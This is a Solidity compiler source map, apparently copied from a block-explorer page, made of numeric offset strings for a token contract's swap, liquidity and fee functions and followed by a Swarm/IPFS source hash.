32233:12:0;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;32233:12:0;32225:21;;;;;;;;;;;;;:31;;:66;;;32284:7;32260;:21;32268:9;32278:1;32268:12;;;;;;-1:-1:-1;;;32268:12:0;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;32268:12:0;32260:21;;;;;;;;;;;;;:31;32225:66;32221:97;;;32301:7;;32310;;32293:25;;;;;;;32002:561;;:::o;32221:97::-;32343:34;32355:7;:21;32363:9;32373:1;32363:12;;;;;;-1:-1:-1;;;32363:12:0;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;32363:12:0;32355:21;;;;;;;;;;;;;32343:7;;:11;:34::i;:::-;32333:44;;32402:34;32414:7;:21;32422:9;32432:1;32422:12;;;;;;-1:-1:-1;;;32422:12:0;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;32422:12:0;32414:21;;;;;;;;;;;;;32402:7;;:11;:34::i;:::-;32392:44;-1:-1:-1;32201:3:0;;;;:::i;:::-;;;;32159:289;;;-1:-1:-1;32484:7:0;;32472;;:20;;:11;:20::i;:::-;32462:7;:30;32458:61;;;32502:7;;32511;;32494:25;;;;;;32002:561;;:::o;32458:61::-;32538:7;;32547;;-1:-1:-1;32002:561:0;-1:-1:-1;32002:561:0:o;2106:278::-;2192:7;2227:12;2220:5;2212:28;;;;-1:-1:-1;;;2212:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2251:9:0;2263:5;2267:1;2263;:5;:::i;31056:330::-;31116:7;31125;31134;31154:12;31169:24;31185:7;31169:15;:24::i;:::-;31154:39;;31204:18;31225:30;31247:7;31225:21;:30::i;:::-;31204:51;-1:-1:-1;31266:23:0;31292:33;31204:51;31292:17;:7;31304:4;31292:11;:17::i;:::-;:21;;:33::i;:::-;31266:59;31361:4;;-1:-1:-1;31367:10:0;;-1:-1:-1;31056:330:0;;-1:-1:-1;;;31056:330:0:o;31394:429::-;31509:7;;;;31565:24;:7;31577:11;31565;:24::i;:::-;31547:42;-1:-1:-1;31600:12:0;31615:21;:4;31624:11;31615:8;:21::i;:::-;31600:36;-1:-1:-1;31647:18:0;31668:27;:10;31683:11;31668:14;:27::i;:::-;31647:48;-1:-1:-1;31706:23:0;31732:33;31647:48;31732:17;:7;31744:4;31732:11;:17::i;:33::-;31784:7;;;;-1:-1:-1;31810:4:0;;-1:-1:-1;31394:429:0;;-1:-1:-1;;;;;;;31394:429:0:o;25386:660::-;25536:16;;;25550:1;25536:16;;;;;;;;25512:21;;25536:16;;;;;;;;;;-1:-1:-1;25536:16:0;25512:40;;25581:4;25563;25568:1;25563:7;;;;;;-1:-1:-1;;;25563:7:0;;;;;;;;;;;;;;:23;-1:-1:-1;;;;;25563:23:0;;;-1:-1:-1;;;;;25563:23:0;;;;;25607:13;-1:-1:-1;;;;;25607:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25597:4;25602:1;25597:7;;;;;;-1:-1:-1;;;25597:7:0;;;;;;;;;;;;;;:30;-1:-1:-1;;;;;25597:30:0;;;-1:-1:-1;;;;;25597:30:0;;;;;25640:60;25657:4;25672:13;25688:11;25640:8;:60::i;:::-;25739:238;;-1:-1:-1;;;25739:238:0;;-1:-1:-1;;;;;25739:13:0;:64;;;;:238;;25818:11;;25844:1;;25888:4;;25915;;25951:15;;25739:238;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26003:35;26020:11;26033:4;26003:35;;;;;;;:::i;:::-;;;;;;;;25386:660;;:::o;1706:250::-;1764:7;1788:6;1784:47;;-1:-1:-1;1818:1:0;1811:8;;1784:47;1843:9;1855:5;1859:1;1855;:5;:::i;:::-;1843:17;-1:-1:-1;1888:1:0;1879:5;1883:1;1843:17;1879:5;:::i;:::-;:10;1871:56;;;;-1:-1:-1;;;1871:56:0;;9165:2:1;1871:56:0;;;9147:21:1;9204:2;9184:18;;;9177:30;9243:34;9223:18;;;9216:62;-1:-1:-1;;;9294:18:1;;;9287:31;9335:19;;1871:56:0;9137:223:1;35821:126:0;35913:26;;-1:-1:-1;;;;;35913:18:0;;;:26;;;;;35932:6;;35913:26;;;;35932:6;35913:18;:26;;;;;;;;;;;;;;;;;;;26058:579;26203:16;;;26217:1;26203:16;;;;;;;;26179:21;;26203:16;;;;;;;;;;-1:-1:-1;26203:16:0;26179:40;;26240:13;-1:-1:-1;;;;;26240:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26230:4;26235:1;26230:7;;;;;;-1:-1:-1;;;26230:7:0;;;;;;;;;;;;;;:30;-1:-1:-1;;;;;26230:30:0;;;-1:-1:-1;;;;;26230:30:0;;;;;26289:4;26271;26276:1;26271:7;;;;;;-1:-1:-1;;;26271:7:0;;;;;;;;;-1:-1:-1;;;;;26271:23:0;;;:7;;;;;;;;;:23;26491:16;;26331:13;:64;;;;;26403:6;;26425:1;;26472:4;;26491:16;26538:24;:15;26558:3;26538:19;:24::i;:::-;26331:242;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26599:30;26616:6;26624:4;26599:30;;;;;;;:::i;33553:230::-;33599:7;;:12;:34;;;;-1:-1:-1;33615:13:0;;:18;33599:34;33596:46;;;33553:230::o;33596:46::-;33670:7;;;33652:15;:25;33712:13;;;33688:21;:37;-1:-1:-1;33736:11:0;;;;33758:17;33553:230::o;29256:563::-;29359:15;29376:23;29401:12;29415:23;29440:12;29454:18;29476:19;29487:7;29476:10;:19::i;:::-;-1:-1:-1;;;;;29521:15:0;;;;;;:7;:15;;;;;;29358:137;;-1:-1:-1;29358:137:0;;-1:-1:-1;29358:137:0;;-1:-1:-1;29358:137:0;-1:-1:-1;29358:137:0;-1:-1:-1;29358:137:0;-1:-1:-1;29521:28:0;;29541:7;29521:19;:28::i;:::-;-1:-1:-1;;;;;29503:15:0;;;;;;:7;:15;;;;;;;;:46;;;;29578:7;:15;;;;:28;;29598:7;29578:19;:28::i;:::-;-1:-1:-1;;;;;29560:15:0;;;;;;;:7;:15;;;;;;:46;;;;29638:18;;;;;;;:39;;29661:15;29638:22;:39::i;:::-;-1:-1:-1;;;;;29617:18:0;;;;;;:7;:18;;;;;:60;29691:26;29706:10;29691:14;:26::i;:::-;29728:23;29740:4;29746;29728:11;:23::i;:::-;29784:9;-1:-1:-1;;;;;29767:44:0;29776:6;-1:-1:-1;;;;;29767:44:0;;29795:15;29767:44;;;;12253:25:1;;12241:2;12226:18;;12208:76;29767:44:0;;;;;;;;29256:563;;;;;;;;;:::o;28665:583::-;28766:15;28783:23;28808:12;28822:23;28847:12;28861:18;28883:19;28894:7;28883:10;:19::i;:::-;-1:-1:-1;;;;;28928:15:0;;;;;;:7;:15;;;;;;28765:137;;-1:-1:-1;28765:137:0;;-1:-1:-1;28765:137:0;;-1:-1:-1;28765:137:0;-1:-1:-1;28765:137:0;-1:-1:-1;28765:137:0;-1:-1:-1;28928:28:0;;28765:137;28928:19;:28::i;:::-;-1:-1:-1;;;;;28910:15:0;;;;;;;:7;:15;;;;;;;;:46;;;;28988:18;;;;;:7;:18;;;;;:39;;29011:15;28988:22;:39::i;:::-;-1:-1:-1;;;;;28967:18:0;;;;;;:7;:18;;;;;;;;:60;;;;29059:7;:18;;;;:39;;29082:15;29059:22;:39::i;29827:639::-;29930:15;29947:23;29972:12;29986:23;30011:12;30025:18;30047:19;30058:7;30047:10;:19::i;:::-;-1:-1:-1;;;;;30092:15:0;;;;;;:7;:15;;;;;;29929:137;;-1:-1:-1;29929:137:0;;-1:-1:-1;29929:137:0;;-1:-1:-1;29929:137:0;-1:-1:-1;29929:137:0;-1:-1:-1;29929:137:0;-1:-1:-1;30092:28:0;;30112:7;30092:19;:28::i;:::-;-1:-1:-1;;;;;30074:15:0;;;;;;:7;:15;;;;;;;;:46;;;;30149:7;:15;;;;:28;;30169:7;30149:19;:28::i;28155:502::-;28254:15;28271:23;28296:12;28310:23;28335:12;28349:18;28371:19;28382:7;28371:10;:19::i;:::-;-1:-1:-1;;;;;28419:15:0;;;;;;:7;:15;;;;;;28253:137;;-1:-1:-1;28253:137:0;;-1:-1:-1;28253:137:0;;-1:-1:-1;28253:137:0;-1:-1:-1;28253:137:0;-1:-1:-1;28253:137:0;-1:-1:-1;28419:28:0;;28253:137;28419:19;:28::i;32942:154::-;33006:7;33033:55;33072:5;33033:20;33045:7;;33033;:11;;:20;;;;:::i;:::-;:24;;:55::i;33108:166::-;33178:7;33205:61;33250:5;33205:26;33217:13;;33205:7;:11;;:26;;;;:::i;32575:355::-;32638:19;32661:10;:8;:10::i;:::-;32638:33;-1:-1:-1;32682:18:0;32703:27;:10;32638:33;32703:14;:27::i;:::-;32782:4;32766:22;;;;:7;:22;;;;;;32682:48;;-1:-1:-1;32766:38:0;;32682:48;32766:26;:38::i;:::-;32757:4;32741:22;;;;:7;:22;;;;;;;;:63;;;;32818:11;:26;;;;;;32815:107;;;32900:4;32884:22;;;;:7;:22;;;;;;:38;;32911:10;32884:26;:38::i;:::-;32875:4;32859:22;;;;:7;:22;;;;;:63;32575:355;;;:::o;30474:147::-;30552:7;;:17;;30564:4;30552:11;:17::i;:::-;30542:7;:27;30593:10;;:20;;30608:4;30593:14;:20::i;:::-;30580:10;:33;-1:-1:-1;;30474:147:0:o;14:257:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;276:261::-;346:6;399:2;387:9;378:7;374:23;370:32;367:2;;;420:6;412;405:22;367:2;457:9;451:16;476:31;501:5;476:31;:::i;542:398::-;610:6;618;671:2;659:9;650:7;646:23;642:32;639:2;;;692:6;684;677:22;639:2;736:9;723:23;755:31;780:5;755:31;:::i;:::-;805:5;-1:-1:-1;862:2:1;847:18;;834:32;875:33;834:32;875:33;:::i;:::-;927:7;917:17;;;629:311;;;;;:::o;945:466::-;1022:6;1030;1038;1091:2;1079:9;1070:7;1066:23;1062:32;1059:2;;;1112:6;1104;1097:22;1059:2;1156:9;1143:23;1175:31;1200:5;1175:31;:::i;:::-;1225:5;-1:-1:-1;1282:2:1;1267:18;;1254:32;1295:33;1254:32;1295:33;:::i;:::-;1049:362;;1347:7;;-1:-1:-1;;;1401:2:1;1386:18;;;;1373:32;;1049:362::o;1416:324::-;1483:6;1491;1544:2;1532:9;1523:7;1519:23;1515:32;1512:2;;;1565:6;1557;1550:22;1512:2;1609:9;1596:23;1628:31;1653:5;1628:31;:::i;:::-;1678:5;1730:2;1715:18;;;;1702:32;;-1:-1:-1;;;1502:238:1:o;2075:251::-;2131:6;2184:2;2172:9;2163:7;2159:23;2155:32;2152:2;;;2205:6;2197;2190:22;2152:2;2249:9;2236:23;2268:28;2290:5;2268:28;:::i;2331:255::-;2398:6;2451:2;2439:9;2430:7;2426:23;2422:32;2419:2;;;2472:6;2464;2457:22;2419:2;2509:9;2503:16;2528:28;2550:5;2528:28;:::i;2591:190::-;2650:6;2703:2;2691:9;2682:7;2678:23;2674:32;2671:2;;;2724:6;2716;2709:22;2671:2;-1:-1:-1;2752:23:1;;2661:120;-1:-1:-1;2661:120:1:o;2786:319::-;2851:6;2859;2912:2;2900:9;2891:7;2887:23;2883:32;2880:2;;;2933:6;2925;2918:22;2880:2;2974:9;2961:23;2951:33;;3034:2;3023:9;3019:18;3006:32;3047:28;3069:5;3047:28;:::i;3110:463::-;3163:3;3201:5;3195:12;3228:6;3223:3;3216:19;3254:4;3283:2;3278:3;3274:12;3267:19;;3320:2;3313:5;3309:14;3341:3;3353:195;3367:6;3364:1;3361:13;3353:195;;;3432:13;;-1:-1:-1;;;;;3428:39:1;3416:52;;3488:12;;;;3523:15;;;;3464:1;3382:9;3353:195;;;-1:-1:-1;3564:3:1;;3171:402;-1:-1:-1;;;;;3171:402:1:o;4722:518::-;5001:6;4990:9;4983:25;5044:3;5039:2;5028:9;5024:18;5017:31;4964:4;5065:57;5117:3;5106:9;5102:19;5094:6;5065:57;:::i;:::-;-1:-1:-1;;;;;5158:32:1;;;;5153:2;5138:18;;5131:60;-1:-1:-1;5222:2:1;5207:18;5200:34;5057:65;4973:267;-1:-1:-1;;4973:267:1:o;5245:603::-;5357:4;5386:2;5415;5404:9;5397:21;5447:6;5441:13;5490:6;5485:2;5474:9;5470:18;5463:34;5515:4;5528:140;5542:6;5539:1;5536:13;5528:140;;;5637:14;;;5633:23;;5627:30;5603:17;;;5622:2;5599:26;5592:66;5557:10;;5528:140;;;5686:6;5683:1;5680:13;5677:2;;;5756:4;5751:2;5742:6;5731:9;5727:22;5723:31;5716:45;5677:2;-1:-1:-1;5832:2:1;5811:15;-1:-1:-1;;5807:29:1;5792:45;;;;5839:2;5788:54;;5366:482;-1:-1:-1;;;5366:482:1:o;9365:356::-;9567:2;9549:21;;;9586:18;;;9579:30;9645:34;9640:2;9625:18;;9618:62;9712:2;9697:18;;9539:182::o;12289:332::-;12496:6;12485:9;12478:25;12539:2;12534;12523:9;12519:18;12512:30;12459:4;12559:56;12611:2;12600:9;12596:18;12588:6;12559:56;:::i;:::-;12551:64;12468:153;-1:-1:-1;;;;12468:153:1:o;12626:582::-;12925:6;12914:9;12907:25;12968:6;12963:2;12952:9;12948:18;12941:34;13011:3;13006:2;12995:9;12991:18;12984:31;12888:4;13032:57;13084:3;13073:9;13069:19;13061:6;13032:57;:::i;:::-;-1:-1:-1;;;;;13125:32:1;;;;13120:2;13105:18;;13098:60;-1:-1:-1;13189:3:1;13174:19;13167:35;13024:65;12897:311;-1:-1:-1;;;12897:311:1:o;13402:128::-;13442:3;13473:1;13469:6;13466:1;13463:13;13460:2;;;13479:18;;:::i;:::-;-1:-1:-1;13515:9:1;;13450:80::o;13535:217::-;13575:1;13601;13591:2;;-1:-1:-1;;;13626:31:1;;13680:4;13677:1;13670:15;13708:4;13633:1;13698:15;13591:2;-1:-1:-1;13737:9:1;;13581:171::o;13757:168::-;13797:7;13863:1;13859;13855:6;13851:14;13848:1;13845:21;13840:1;13833:9;13826:17;13822:45;13819:2;;;13870:18;;:::i;:::-;-1:-1:-1;13910:9:1;;13809:116::o;13930:270::-;13969:4;13998:12;;;14026:10;;-1:-1:-1;;;14045:19:1;;14038:27;;14022:44;14019:2;;;14069:18;;:::i;:::-;-1:-1:-1;;;;;14116:27:1;;14109:35;;14101:44;;14098:2;;;14148:18;;:::i;:::-;-1:-1:-1;;14185:9:1;;13978:222::o;14205:125::-;14245:4;14273:1;14270;14267:8;14264:2;;;14278:18;;:::i;:::-;-1:-1:-1;14315:9:1;;14254:76::o;14335:380::-;14414:1;14410:12;;;;14457;;;14478:2;;14532:4;14524:6;14520:17;14510:27;;14478:2;14585;14577:6;14574:14;14554:18;14551:38;14548:2;;;14631:10;14626:3;14622:20;14619:1;14612:31;14666:4;14663:1;14656:15;14694:4;14691:1;14684:15;14548:2;;14390:325;;;:::o;14720:135::-;14759:3;-1:-1:-1;;14780:17:1;;14777:2;;;14800:18;;:::i;:::-;-1:-1:-1;14847:1:1;14836:13;;14767:88::o;14860:127::-;14921:10;14916:3;14912:20;14909:1;14902:31;14952:4;14949:1;14942:15;14976:4;14973:1;14966:15;14992:131;-1:-1:-1;;;;;15067:31:1;;15057:42;;15047:2;;15113:1;15110;15103:12;15047:2;15037:86;:::o;15128:118::-;15214:5;15207:13;15200:21;15193:5;15190:32;15180:2;;15236:1;15233;15226:12

Swarm Source

ipfs://7bde850b4ee66eb8564b9c2712d046dd7b36bd0326942055bab8764679fec4a6
Loading